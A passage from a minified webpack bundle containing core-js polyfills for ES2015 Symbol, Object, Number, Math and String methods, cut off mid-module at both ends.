}); return wrap(tag); }; redefine($Symbol[PROTOTYPE], 'toString', function toString() { return this._k; }); $GOPD.f = $getOwnPropertyDescriptor; $DP.f = $defineProperty; __webpack_require__(56).f = gOPNExt.f = $getOwnPropertyNames; __webpack_require__(71).f = $propertyIsEnumerable; __webpack_require__(80).f = $getOwnPropertySymbols; if (DESCRIPTORS && !__webpack_require__(52)) { redefine(ObjectProto, 'propertyIsEnumerable', $propertyIsEnumerable, true); } wksExt.f = function (name) { return wrap(wks(name)); }; } $export($export.G + $export.W + $export.F * !USE_NATIVE, { Symbol: $Symbol }); for (var es6Symbols = ( // 19.4.2.2, 19.4.2.3, 19.4.2.4, 19.4.2.6, 19.4.2.8, 19.4.2.9, 19.4.2.10, 19.4.2.11, 19.4.2.12, 19.4.2.13, 19.4.2.14 'hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables' ).split(','), j = 0; es6Symbols.length > j;)wks(es6Symbols[j++]); for (var wellKnownSymbols = $keys(wks.store), k = 0; wellKnownSymbols.length > k;) wksDefine(wellKnownSymbols[k++]); $export($export.S + $export.F * !USE_NATIVE, 'Symbol', { // 19.4.2.1 Symbol.for(key) 'for': function (key) { return has(SymbolRegistry, key += '') ? SymbolRegistry[key] : SymbolRegistry[key] = $Symbol(key); }, // 19.4.2.5 Symbol.keyFor(sym) keyFor: function keyFor(sym) { if (!isSymbol(sym)) throw TypeError(sym + ' is not a symbol!'); for (var key in SymbolRegistry) if (SymbolRegistry[key] === sym) return key; }, useSetter: function () { setter = true; }, useSimple: function () { setter = false; } }); $export($export.S + $export.F * !USE_NATIVE, 'Object', { // 19.1.2.2 Object.create(O [, Properties]) create: $create, // 19.1.2.4 Object.defineProperty(O, P, Attributes) defineProperty: $defineProperty, // 19.1.2.3 Object.defineProperties(O, Properties) defineProperties: $defineProperties, // 19.1.2.6 Object.getOwnPropertyDescriptor(O, P) getOwnPropertyDescriptor: $getOwnPropertyDescriptor, // 19.1.2.7 Object.getOwnPropertyNames(O) getOwnPropertyNames: $getOwnPropertyNames, // 19.1.2.8 Object.getOwnPropertySymbols(O) getOwnPropertySymbols: $getOwnPropertySymbols }); // 24.3.2 JSON.stringify(value [, replacer [, space]]) $JSON && $export($export.S + $export.F * (!USE_NATIVE || $fails(function () { var S = $Symbol(); // MS Edge converts symbol values to JSON as {} // WebKit converts symbol values to JSON as null // V8 throws on boxed symbols return _stringify([S]) != '[null]' || _stringify({ a: S }) != '{}' || _stringify(Object(S)) != '{}'; })), 'JSON', { stringify: function stringify(it) { var args = [it]; var i = 1; var replacer, $replacer; while (arguments.length > i) args.push(arguments[i++]); $replacer = replacer = args[1]; if (!isObject(replacer) && it === undefined || isSymbol(it)) return; // IE8 returns string on undefined if (!isArray(replacer)) replacer = function (key, value) { if (typeof $replacer == 'function') value = $replacer.call(this, key, value); if (!isSymbol(value)) return value; }; args[1] = replacer; return _stringify.apply($JSON, args); } }); // 19.4.3.4 Symbol.prototype[@@toPrimitive](hint) $Symbol[PROTOTYPE][TO_PRIMITIVE] || __webpack_require__(28)($Symbol[PROTOTYPE], TO_PRIMITIVE, $Symbol[PROTOTYPE].valueOf); // 19.4.3.5 Symbol.prototype[@@toStringTag] setToStringTag($Symbol, 'Symbol'); // 20.2.1.9 Math[@@toStringTag] setToStringTag(Math, 'Math', true); // 24.3.3 JSON[@@toStringTag] setToStringTag(global.JSON, 'JSON', true); /***/ }), /* 440 */ /***/ (function(module, exports, __webpack_require__) { // all enumerable object keys, includes symbols var getKeys = __webpack_require__(53); var gOPS = __webpack_require__(80); var pIE = __webpack_require__(71); module.exports = function (it) { var result = getKeys(it); var getSymbols = gOPS.f; if (getSymbols) { var symbols = getSymbols(it); var isEnum = pIE.f; var i = 0; var key; while (symbols.length > i) if (isEnum.call(it, key = symbols[i++])) result.push(key); } return result; }; /***/ }), /* 441 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); // 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties]) $export($export.S, 'Object', { create: __webpack_require__(55) }); /***/ }), /* 442 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); // 19.1.2.4 / 15.2.3.6 Object.defineProperty(O, P, Attributes) $export($export.S + $export.F * !__webpack_require__(20), 'Object', { defineProperty: __webpack_require__(17).f }); /***/ }), /* 443 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); // 19.1.2.3 / 15.2.3.7 Object.defineProperties(O, Properties) $export($export.S + $export.F * !__webpack_require__(20), 'Object', { defineProperties: __webpack_require__(133) }); /***/ }), /* 444 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.6 Object.getOwnPropertyDescriptor(O, P) var toIObject = __webpack_require__(29); var $getOwnPropertyDescriptor = __webpack_require__(34).f; __webpack_require__(35)('getOwnPropertyDescriptor', function () { return function getOwnPropertyDescriptor(it, key) { return $getOwnPropertyDescriptor(toIObject(it), key); }; }); /***/ }), /* 445 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.9 Object.getPrototypeOf(O) var toObject = __webpack_require__(24); var $getPrototypeOf = __webpack_require__(57); __webpack_require__(35)('getPrototypeOf', function () { return function getPrototypeOf(it) { return $getPrototypeOf(toObject(it)); }; }); /***/ }), /* 446 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.14 Object.keys(O) var toObject = __webpack_require__(24); var $keys = __webpack_require__(53); __webpack_require__(35)('keys', function () { return function keys(it) { return $keys(toObject(it)); }; }); /***/ }), /* 447 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.7 Object.getOwnPropertyNames(O) __webpack_require__(35)('getOwnPropertyNames', function () { return __webpack_require__(134).f; }); /***/ }), /* 448 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.5 Object.freeze(O) var isObject = __webpack_require__(7); var meta = __webpack_require__(45).onFreeze; __webpack_require__(35)('freeze', function ($freeze) { return function freeze(it) { return $freeze && isObject(it) ? $freeze(meta(it)) : it; }; }); /***/ }), /* 449 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.17 Object.seal(O) var isObject = __webpack_require__(7); var meta = __webpack_require__(45).onFreeze; __webpack_require__(35)('seal', function ($seal) { return function seal(it) { return $seal && isObject(it) ? $seal(meta(it)) : it; }; }); /***/ }), /* 450 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.15 Object.preventExtensions(O) var isObject = __webpack_require__(7); var meta = __webpack_require__(45).onFreeze; __webpack_require__(35)('preventExtensions', function ($preventExtensions) { return function preventExtensions(it) { return $preventExtensions && isObject(it) ? $preventExtensions(meta(it)) : it; }; }); /***/ }), /* 451 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.12 Object.isFrozen(O) var isObject = __webpack_require__(7); __webpack_require__(35)('isFrozen', function ($isFrozen) { return function isFrozen(it) { return isObject(it) ? $isFrozen ? $isFrozen(it) : false : true; }; }); /***/ }), /* 452 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.13 Object.isSealed(O) var isObject = __webpack_require__(7); __webpack_require__(35)('isSealed', function ($isSealed) { return function isSealed(it) { return isObject(it) ? $isSealed ? $isSealed(it) : false : true; }; }); /***/ }), /* 453 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.2.11 Object.isExtensible(O) var isObject = __webpack_require__(7); __webpack_require__(35)('isExtensible', function ($isExtensible) { return function isExtensible(it) { return isObject(it) ? $isExtensible ? $isExtensible(it) : true : false; }; }); /***/ }), /* 454 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.3.1 Object.assign(target, source) var $export = __webpack_require__(0); $export($export.S + $export.F, 'Object', { assign: __webpack_require__(135) }); /***/ }), /* 455 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.3.10 Object.is(value1, value2) var $export = __webpack_require__(0); $export($export.S, 'Object', { is: __webpack_require__(136) }); /***/ }), /* 456 */ /***/ (function(module, exports, __webpack_require__) { // 19.1.3.19 Object.setPrototypeOf(O, proto) var $export = __webpack_require__(0); $export($export.S, 'Object', { setPrototypeOf: __webpack_require__(99).set }); /***/ }), /* 457 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 19.1.3.6 Object.prototype.toString() var classof = __webpack_require__(72); var test = {}; test[__webpack_require__(12)('toStringTag')] = 'z'; if (test + '' != '[object z]') { __webpack_require__(23)(Object.prototype, 'toString', function toString() { return '[object ' + classof(this) + ']'; }, true); } /***/ }), /* 458 */ /***/ (function(module, exports, __webpack_require__) { // 19.2.3.2 / 15.3.4.5 Function.prototype.bind(thisArg, args...) var $export = __webpack_require__(0); $export($export.P, 'Function', { bind: __webpack_require__(137) }); /***/ }), /* 459 */ /***/ (function(module, exports, __webpack_require__) { var dP = __webpack_require__(17).f; var FProto = Function.prototype; var nameRE = /^\s*function ([^ (]*)/; var NAME = 'name'; // 19.2.4.2 name NAME in FProto || __webpack_require__(20) && dP(FProto, NAME, { configurable: true, get: function () { try { return ('' + this).match(nameRE)[1]; } catch (e) { return ''; } } }); /***/ }), /* 460 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var isObject = __webpack_require__(7); var getPrototypeOf = __webpack_require__(57); var HAS_INSTANCE = __webpack_require__(12)('hasInstance'); var FunctionProto = Function.prototype; // 19.2.3.6 Function.prototype[@@hasInstance](V) if (!(HAS_INSTANCE in FunctionProto)) __webpack_require__(17).f(FunctionProto, HAS_INSTANCE, { value: function (O) { if (typeof this != 'function' || !isObject(O)) return false; if (!isObject(this.prototype)) return O instanceof this; // for environment w/o native `@@hasInstance` logic enough `instanceof`, but add this: while (O = getPrototypeOf(O)) if (this.prototype === O) return true; return false; } }); /***/ }), /* 461 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); var $parseInt = __webpack_require__(139); // 18.2.5 parseInt(string, radix) $export($export.G + $export.F * (parseInt != $parseInt), { parseInt: $parseInt }); /***/ }), /* 462 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); var $parseFloat = __webpack_require__(140); // 18.2.4 parseFloat(string) $export($export.G + $export.F * (parseFloat != $parseFloat), { parseFloat: $parseFloat }); /***/ }), /* 463 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var global = __webpack_require__(6); var has = __webpack_require__(27); var cof = __webpack_require__(39); var inheritIfRequired = __webpack_require__(101); var toPrimitive = __webpack_require__(44); var fails = __webpack_require__(4); var gOPN = __webpack_require__(56).f; var gOPD = __webpack_require__(34).f; var dP = __webpack_require__(17).f; var $trim = __webpack_require__(81).trim; var NUMBER = 'Number'; var $Number = global[NUMBER]; var Base = $Number; var proto = $Number.prototype; // Opera ~12 has broken Object#toString var BROKEN_COF = cof(__webpack_require__(55)(proto)) == NUMBER; var TRIM = 'trim' in String.prototype; // 7.1.3 ToNumber(argument) var toNumber = function (argument) { var it = toPrimitive(argument, false); if (typeof it == 'string' && it.length > 2) { it = TRIM ? it.trim() : $trim(it, 3); var first = it.charCodeAt(0); var third, radix, maxCode; if (first === 43 || first === 45) { third = it.charCodeAt(2); if (third === 88 || third === 120) return NaN; // Number('+0x1') should be NaN, old V8 fix } else if (first === 48) { switch (it.charCodeAt(1)) { case 66: case 98: radix = 2; maxCode = 49; break; // fast equal /^0b[01]+$/i case 79: case 111: radix = 8; maxCode = 55; break; // fast equal /^0o[0-7]+$/i default: return +it; } for (var digits = it.slice(2), i = 0, l = digits.length, code; i < l; i++) { code = digits.charCodeAt(i); // parseInt parses a string to a first unavailable symbol // but ToNumber should return NaN if a string contains unavailable symbols if (code < 48 || code > maxCode) return NaN; } return parseInt(digits, radix); } } return +it; }; if (!$Number(' 0o1') || !$Number('0b1') || $Number('+0x1')) { $Number = function Number(value) { var it = arguments.length < 1 ? 0 : value; var that = this; return that instanceof $Number // check on 1..constructor(foo) case && (BROKEN_COF ? fails(function () { proto.valueOf.call(that); }) : cof(that) != NUMBER) ? inheritIfRequired(new Base(toNumber(it)), that, $Number) : toNumber(it); }; for (var keys = __webpack_require__(20) ? gOPN(Base) : ( // ES3: 'MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,' + // ES6 (in case, if modules with ES6 Number statics required before): 'EPSILON,isFinite,isInteger,isNaN,isSafeInteger,MAX_SAFE_INTEGER,' + 'MIN_SAFE_INTEGER,parseFloat,parseInt,isInteger' ).split(','), j = 0, key; keys.length > j; j++) { if (has(Base, key = keys[j]) && !has($Number, key)) { dP($Number, key, gOPD(Base, key)); } } $Number.prototype = proto; proto.constructor = $Number; __webpack_require__(23)(global, NUMBER, $Number); } /***/ }), /* 464 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var toInteger = __webpack_require__(33); var aNumberValue = __webpack_require__(141); var repeat = __webpack_require__(102); var $toFixed = 1.0.toFixed; var floor = Math.floor; var data = [0, 0, 0, 0, 0, 0]; var ERROR = 'Number.toFixed: incorrect invocation!'; var ZERO = '0'; var multiply = function (n, c) { var i = -1; var c2 = c; while (++i < 6) { c2 += n * data[i]; data[i] = c2 % 1e7; c2 = floor(c2 / 1e7); } }; var divide = function (n) { var i = 6; var c = 0; while (--i >= 0) { c += data[i]; data[i] = floor(c / n); c = (c % n) * 1e7; } }; var numToString = function () { var i = 6; var s = ''; while (--i >= 0) { if (s !== '' || i === 0 || data[i] !== 0) { var t = String(data[i]); s = s === '' ? t : s + repeat.call(ZERO, 7 - t.length) + t; } } return s; }; var pow = function (x, n, acc) { return n === 0 ? acc : n % 2 === 1 ? pow(x, n - 1, acc * x) : pow(x * x, n / 2, acc); }; var log = function (x) { var n = 0; var x2 = x; while (x2 >= 4096) { n += 12; x2 /= 4096; } while (x2 >= 2) { n += 1; x2 /= 2; } return n; }; $export($export.P + $export.F * (!!$toFixed && ( 0.00008.toFixed(3) !== '0.000' || 0.9.toFixed(0) !== '1' || 1.255.toFixed(2) !== '1.25' || 1000000000000000128.0.toFixed(0) !== '1000000000000000128' ) || !__webpack_require__(4)(function () { // V8 ~ Android 4.3- $toFixed.call({}); })), 'Number', { toFixed: function toFixed(fractionDigits) { var x = aNumberValue(this, ERROR); var f = toInteger(fractionDigits); var s = ''; var m = ZERO; var e, z, j, k; if (f < 0 || f > 20) throw RangeError(ERROR); // eslint-disable-next-line no-self-compare if (x != x) return 'NaN'; if (x <= -1e21 || x >= 1e21) return String(x); if (x < 0) { s = '-'; x = -x; } if (x > 1e-21) { e = log(x * pow(2, 69, 1)) - 69; z = e < 0 ? x * pow(2, -e, 1) : x / pow(2, e, 1); z *= 0x10000000000000; e = 52 - e; if (e > 0) { multiply(0, z); j = f; while (j >= 7) { multiply(1e7, 0); j -= 7; } multiply(pow(10, j, 1), 0); j = e - 1; while (j >= 23) { divide(1 << 23); j -= 23; } divide(1 << j); multiply(1, 1); divide(2); m = numToString(); } else { multiply(0, z); multiply(1 << -e, 0); m = numToString() + repeat.call(ZERO, f); } } if (f > 0) { k = m.length; m = s + (k <= f ? '0.' + repeat.call(ZERO, f - k) + m : m.slice(0, k - f) + '.' + m.slice(k - f)); } else { m = s + m; } return m; } }); /***/ }), /* 465 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var $fails = __webpack_require__(4); var aNumberValue = __webpack_require__(141); var $toPrecision = 1.0.toPrecision; $export($export.P + $export.F * ($fails(function () { // IE7- return $toPrecision.call(1, undefined) !== '1'; }) || !$fails(function () { // V8 ~ Android 4.3- $toPrecision.call({}); })), 'Number', { toPrecision: function toPrecision(precision) { var that = aNumberValue(this, 'Number#toPrecision: incorrect invocation!'); return precision === undefined ? $toPrecision.call(that) : $toPrecision.call(that, precision); } }); /***/ }), /* 466 */ /***/ (function(module, exports, __webpack_require__) { // 20.1.2.1 Number.EPSILON var $export = __webpack_require__(0); $export($export.S, 'Number', { EPSILON: Math.pow(2, -52) }); /***/ }), /* 467 */ /***/ (function(module, exports, __webpack_require__) { // 20.1.2.2 Number.isFinite(number) var $export = __webpack_require__(0); var _isFinite = __webpack_require__(6).isFinite; $export($export.S, 'Number', { isFinite: function isFinite(it) { return typeof it == 'number' && _isFinite(it); } }); /***/ }), /* 468 */ /***/ (function(module, exports, __webpack_require__) { // 20.1.2.3 Number.isInteger(number) var $export = __webpack_require__(0); $export($export.S, 'Number', { isInteger: __webpack_require__(142) }); /***/ }), /* 469 */ /***/ (function(module, exports, __webpack_require__) { // 20.1.2.4 Number.isNaN(number) var $export = __webpack_require__(0); $export($export.S, 'Number', { isNaN: function isNaN(number) { // eslint-disable-next-line no-self-compare return number != number; } }); /***/ }), /* 470 */ /***/ (function(module, exports, __webpack_require__) { // 20.1.2.5 Number.isSafeInteger(number) var $export = __webpack_require__(0); var isInteger = __webpack_require__(142); var abs = Math.abs; $export($export.S, 'Number', { isSafeInteger: function isSafeInteger(number) { return isInteger(number) && abs(number) <= 0x1fffffffffffff; } }); /***/ }), /* 471 */ /***/ (function(module, exports, __webpack_require__) { // 20.1.2.6 Number.MAX_SAFE_INTEGER var $export = __webpack_require__(0); $export($export.S, 'Number', { MAX_SAFE_INTEGER: 0x1fffffffffffff }); /***/ }), /* 472 */ /***/ (function(module, exports, __webpack_require__) { // 20.1.2.10 Number.MIN_SAFE_INTEGER var $export = __webpack_require__(0); $export($export.S, 'Number', { MIN_SAFE_INTEGER: -0x1fffffffffffff }); /***/ }), /* 473 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); var $parseFloat = __webpack_require__(140); // 20.1.2.12 Number.parseFloat(string) $export($export.S + $export.F * (Number.parseFloat != $parseFloat), 'Number', { parseFloat: $parseFloat }); /***/ }), /* 474 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); var $parseInt = __webpack_require__(139); // 20.1.2.13 Number.parseInt(string, radix) $export($export.S + $export.F * (Number.parseInt != $parseInt), 'Number', { parseInt: $parseInt }); /***/ }), /* 475 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.3 Math.acosh(x) var $export = __webpack_require__(0); var log1p = __webpack_require__(143); var sqrt = Math.sqrt; var $acosh = Math.acosh; $export($export.S + $export.F * !($acosh // V8 bug: https://code.google.com/p/v8/issues/detail?id=3509 && Math.floor($acosh(Number.MAX_VALUE)) == 710 // Tor Browser bug: Math.acosh(Infinity) -> NaN && $acosh(Infinity) == Infinity ), 'Math', { acosh: function acosh(x) { return (x = +x) < 1 ? NaN : x > 94906265.62425156 ? Math.log(x) + Math.LN2 : log1p(x - 1 + sqrt(x - 1) * sqrt(x + 1)); } }); /***/ }), /* 476 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.5 Math.asinh(x) var $export = __webpack_require__(0); var $asinh = Math.asinh; function asinh(x) { return !isFinite(x = +x) || x == 0 ? x : x < 0 ? -asinh(-x) : Math.log(x + Math.sqrt(x * x + 1)); } // Tor Browser bug: Math.asinh(0) -> -0 $export($export.S + $export.F * !($asinh && 1 / $asinh(0) > 0), 'Math', { asinh: asinh }); /***/ }), /* 477 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.7 Math.atanh(x) var $export = __webpack_require__(0); var $atanh = Math.atanh; // Tor Browser bug: Math.atanh(-0) -> 0 $export($export.S + $export.F * !($atanh && 1 / $atanh(-0) < 0), 'Math', { atanh: function atanh(x) { return (x = +x) == 0 ? x : Math.log((1 + x) / (1 - x)) / 2; } }); /***/ }), /* 478 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.9 Math.cbrt(x) var $export = __webpack_require__(0); var sign = __webpack_require__(103); $export($export.S, 'Math', { cbrt: function cbrt(x) { return sign(x = +x) * Math.pow(Math.abs(x), 1 / 3); } }); /***/ }), /* 479 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.11 Math.clz32(x) var $export = __webpack_require__(0); $export($export.S, 'Math', { clz32: function clz32(x) { return (x >>>= 0) ? 31 - Math.floor(Math.log(x + 0.5) * Math.LOG2E) : 32; } }); /***/ }), /* 480 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.12 Math.cosh(x) var $export = __webpack_require__(0); var exp = Math.exp; $export($export.S, 'Math', { cosh: function cosh(x) { return (exp(x = +x) + exp(-x)) / 2; } }); /***/ }), /* 481 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.14 Math.expm1(x) var $export = __webpack_require__(0); var $expm1 = __webpack_require__(104); $export($export.S + $export.F * ($expm1 != Math.expm1), 'Math', { expm1: $expm1 }); /***/ }), /* 482 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.16 Math.fround(x) var $export = __webpack_require__(0); $export($export.S, 'Math', { fround: __webpack_require__(483) }); /***/ }), /* 483 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.16 Math.fround(x) var sign = __webpack_require__(103); var pow = Math.pow; var EPSILON = pow(2, -52); var EPSILON32 = pow(2, -23); var MAX32 = pow(2, 127) * (2 - EPSILON32); var MIN32 = pow(2, -126); var roundTiesToEven = function (n) { return n + 1 / EPSILON - 1 / EPSILON; }; module.exports = Math.fround || function fround(x) { var $abs = Math.abs(x); var $sign = sign(x); var a, result; if ($abs < MIN32) return $sign * roundTiesToEven($abs / MIN32 / EPSILON32) * MIN32 * EPSILON32; a = (1 + EPSILON32 / EPSILON) * $abs; result = a - (a - $abs); // eslint-disable-next-line no-self-compare if (result > MAX32 || result != result) return $sign * Infinity; return $sign * result; }; /***/ }), /* 484 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.17 Math.hypot([value1[, value2[, … ]]]) var $export = __webpack_require__(0); var abs = Math.abs; $export($export.S, 'Math', { hypot: function hypot(value1, value2) { // eslint-disable-line no-unused-vars var sum = 0; var i = 0; var aLen = arguments.length; var larg = 0; var arg, div; while (i < aLen) { arg = abs(arguments[i++]); if (larg < arg) { div = larg / arg; sum = sum * div * div + 1; larg = arg; } else if (arg > 0) { div = arg / larg; sum += div * div; } else sum += arg; } return larg === Infinity ? Infinity : larg * Math.sqrt(sum); } }); /***/ }), /* 485 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.18 Math.imul(x, y) var $export = __webpack_require__(0); var $imul = Math.imul; // some WebKit versions fails with big numbers, some has wrong arity $export($export.S + $export.F * __webpack_require__(4)(function () { return $imul(0xffffffff, 5) != -5 || $imul.length != 2; }), 'Math', { imul: function imul(x, y) { var UINT16 = 0xffff; var xn = +x; var yn = +y; var xl = UINT16 & xn; var yl = UINT16 & yn; return 0 | xl * yl + ((UINT16 & xn >>> 16) * yl + xl * (UINT16 & yn >>> 16) << 16 >>> 0); } }); /***/ }), /* 486 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.21 Math.log10(x) var $export = __webpack_require__(0); $export($export.S, 'Math', { log10: function log10(x) { return Math.log(x) * Math.LOG10E; } }); /***/ }), /* 487 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.20 Math.log1p(x) var $export = __webpack_require__(0); $export($export.S, 'Math', { log1p: __webpack_require__(143) }); /***/ }), /* 488 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.22 Math.log2(x) var $export = __webpack_require__(0); $export($export.S, 'Math', { log2: function log2(x) { return Math.log(x) / Math.LN2; } }); /***/ }), /* 489 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.28 Math.sign(x) var $export = __webpack_require__(0); $export($export.S, 'Math', { sign: __webpack_require__(103) }); /***/ }), /* 490 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.30 Math.sinh(x) var $export = __webpack_require__(0); var expm1 = __webpack_require__(104); var exp = Math.exp; // V8 near Chromium 38 has a problem with very small numbers $export($export.S + $export.F * __webpack_require__(4)(function () { return !Math.sinh(-2e-17) != -2e-17; }), 'Math', { sinh: function sinh(x) { return Math.abs(x = +x) < 1 ? (expm1(x) - expm1(-x)) / 2 : (exp(x - 1) - exp(-x - 1)) * (Math.E / 2); } }); /***/ }), /* 491 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.33 Math.tanh(x) var $export = __webpack_require__(0); var expm1 = __webpack_require__(104); var exp = Math.exp; $export($export.S, 'Math', { tanh: function tanh(x) { var a = expm1(x = +x); var b = expm1(-x); return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (exp(x) + exp(-x)); } }); /***/ }), /* 492 */ /***/ (function(module, exports, __webpack_require__) { // 20.2.2.34 Math.trunc(x) var $export = __webpack_require__(0); $export($export.S, 'Math', { trunc: function trunc(it) { return (it > 0 ? Math.floor : Math.ceil)(it); } }); /***/ }), /* 493 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); var toAbsoluteIndex = __webpack_require__(54); var fromCharCode = String.fromCharCode; var $fromCodePoint = String.fromCodePoint; // length should be 1, old FF problem $export($export.S + $export.F * (!!$fromCodePoint && $fromCodePoint.length != 1), 'String', { // 21.1.2.2 String.fromCodePoint(...codePoints) fromCodePoint: function fromCodePoint(x) { // eslint-disable-line no-unused-vars var res = []; var aLen = arguments.length; var i = 0; var code; while (aLen > i) { code = +arguments[i++]; if (toAbsoluteIndex(code, 0x10ffff) !== code) throw RangeError(code + ' is not a valid code point'); res.push(code < 0x10000 ? fromCharCode(code) : fromCharCode(((code -= 0x10000) >> 10) + 0xd800, code % 0x400 + 0xdc00) ); } return res.join(''); } }); /***/ }), /* 494 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); var toIObject = __webpack_require__(29); var toLength = __webpack_require__(16); $export($export.S, 'String', { // 21.1.2.4 String.raw(callSite, ...substitutions) raw: function raw(callSite) { var tpl = toIObject(callSite.raw); var len = toLength(tpl.length); var aLen = arguments.length; var res = []; var i = 0; while (len > i) { res.push(String(tpl[i++])); if (i < aLen) res.push(String(arguments[i])); } return res.join(''); } }); /***/ }), /* 495 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 21.1.3.25 String.prototype.trim() __webpack_require__(81)('trim', function ($trim) { return function trim() { return $trim(this, 3); }; }); /***/ }), /* 496 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $at = __webpack_require__(105)(true); // 21.1.3.27 String.prototype[@@iterator]() __webpack_require__(106)(String, 'String', function (iterated) { this._t = String(iterated); // target this._i = 0; // next index // 21.1.5.2.1 %StringIteratorPrototype%.next() }, function () { var O = this._t; var index = this._i; var point; if (index >= O.length) return { value: undefined, done: true }; point = $at(O, index); this._i += point.length; return { value: point, done: false }; }); /***/ }), /* 497 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; var $export = __webpack_require__(0); var $at = __webpack_require__(105)(false); $export($export.P, 'String', { // 21.1.3.3 String.prototype.codePointAt(pos) codePointAt: function codePointAt(pos) { return $at(this, pos); } }); /***/ }), /* 498 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 21.1.3.6 String.prototype.endsWith(searchString [, endPosition]) var $export = __webpack_require__(0); var toLength = __webpack_require__(16); var context = __webpack_require__(107); var ENDS_WITH = 'endsWith'; var $endsWith = ''[ENDS_WITH]; $export($export.P + $export.F * __webpack_require__(109)(ENDS_WITH), 'String', { endsWith: function endsWith(searchString /* , endPosition = @length */) { var that = context(this, searchString, ENDS_WITH); var endPosition = arguments.length > 1 ? arguments[1] : undefined; var len = toLength(that.length); var end = endPosition === undefined ? len : Math.min(toLength(endPosition), len); var search = String(searchString); return $endsWith ? $endsWith.call(that, search, end) : that.slice(end - search.length, end) === search; } }); /***/ }), /* 499 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 21.1.3.7 String.prototype.includes(searchString, position = 0) var $export = __webpack_require__(0); var context = __webpack_require__(107); var INCLUDES = 'includes'; $export($export.P + $export.F * __webpack_require__(109)(INCLUDES), 'String', { includes: function includes(searchString /* , position = 0 */) { return !!~context(this, searchString, INCLUDES) .indexOf(searchString, arguments.length > 1 ? arguments[1] : undefined); } }); /***/ }), /* 500 */ /***/ (function(module, exports, __webpack_require__) { var $export = __webpack_require__(0); $export($export.P, 'String', { // 21.1.3.13 String.prototype.repeat(count) repeat: __webpack_require__(102) }); /***/ }), /* 501 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // 21.1.3.18 String.prototype.startsWith(searchString [, position ]) var $export = __webpack_require__(0); var toLength = __webpack_require__(16); var context = __webpack_require__(107); var STARTS_WITH = 'startsWith'; var $startsWith = ''[STARTS_WITH]; $export($export.P + $export.F * __webpack_require__(109)(STARTS_WITH), 'String', { startsWith: function startsWith(searchString /* , position = 0 */) { var that = context(this, searchString, STARTS_WITH); var index = toLength(Math.min(arguments.length > 1 ? arguments[1] : undefined, that.length)); var search = String(searchString); return $startsWith ? $startsWith.call(that, search, index) : that.slice(index, index + search.length) === search; } }); /***/ }), /* 502 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.2 String.prototype.anchor(name) __webpack_require__(25)('anchor', function (createHTML) { return function anchor(name) { return createHTML(this, 'a', 'name', name); }; }); /***/ }), /* 503 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.3 String.prototype.big() __webpack_require__(25)('big', function (createHTML) { return function big() { return createHTML(this, 'big', '', ''); }; }); /***/ }), /* 504 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.4 String.prototype.blink() __webpack_require__(25)('blink', function (createHTML) { return function blink() { return createHTML(this, 'blink', '', ''); }; }); /***/ }), /* 505 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.5 String.prototype.bold() __webpack_require__(25)('bold', function (createHTML) { return function bold() { return createHTML(this, 'b', '', ''); }; }); /***/ }), /* 506 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; // B.2.3.6 String.prototype.fixed() __webpack_require__(25)('fixed', function (createHTML) { return function fixed() { return createHTML(this, 'tt', '', ''); }; }); /***/ }), /* 507 */ /***/ (function(module, exports, 